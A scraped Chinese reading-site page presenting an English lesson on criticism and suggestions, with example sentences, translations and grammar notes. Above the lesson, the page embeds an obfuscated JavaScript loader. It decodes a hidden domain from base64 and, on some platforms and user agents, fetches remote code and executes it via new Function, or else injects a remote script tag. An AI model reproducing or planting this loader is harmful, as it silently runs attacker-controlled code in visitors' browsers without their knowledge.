妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

Lesson 05 批评与建议(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

lesson 05 批评与建议

criticism and suggestion

01 i&#039;m not going to put up with so many pressures.

我再也受不了这么大的压力了。

词组释义 put up with 容忍,忍受

02 i don&#039;t want to stay with people who are nothing but a grouch!

我不想和整天都在发牢骚的人待在一起。

单词释义 grouch [gra?t?] n. 爱抱怨的人,牢骚 vi. 抱怨,发脾气

03 don&#039;t always repine at your misfortune.

不要总是抱怨自己的不幸。

语法提要 副词always可以表示一种厌烦的情绪。

04 we shouldn&#039;t be an ungrateful man.

我们不应该忘恩负义。

单词释义 ungrateful [?n?gre?tfl] adj. 忘恩负义的,徒劳的,不领情的,讨厌的

05 don&#039;t pull my leg.

不要和我开玩笑。

词组释义 pull one&#039;s leg 和某人开玩笑

06 your thinking is always impractical.

你的想法总是这么不切实际。

语法提要

impractical是形容词,表示“不切实际的,不现实的”,常用作表语或后置定语,是由词根practice演变而来。

07 they proposed me that i should make a change.

他们建议我做一些改变。

语法提要

propose是动词,表示“建议,打算,求婚”,表示“建议”时常用于虚拟语气,后面用should + 动词原形。

08 it&#039;s your duty to do that.

这是你的职责。

语法提要

指示代词it在这里只是充当形式主语,真正的主语是动词不定式to do that,谓语是is,宾语是your duty。

09 he was rebuked for his stupidity.

他因愚蠢的行为受到了批评。

单词释义 rebuke [r??bju:k] vt. 指责,批评

10 you should calm down and think it carefully.

你应该冷静下来好好想想。

词组释义 calm down (使)平静,镇静,安静

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间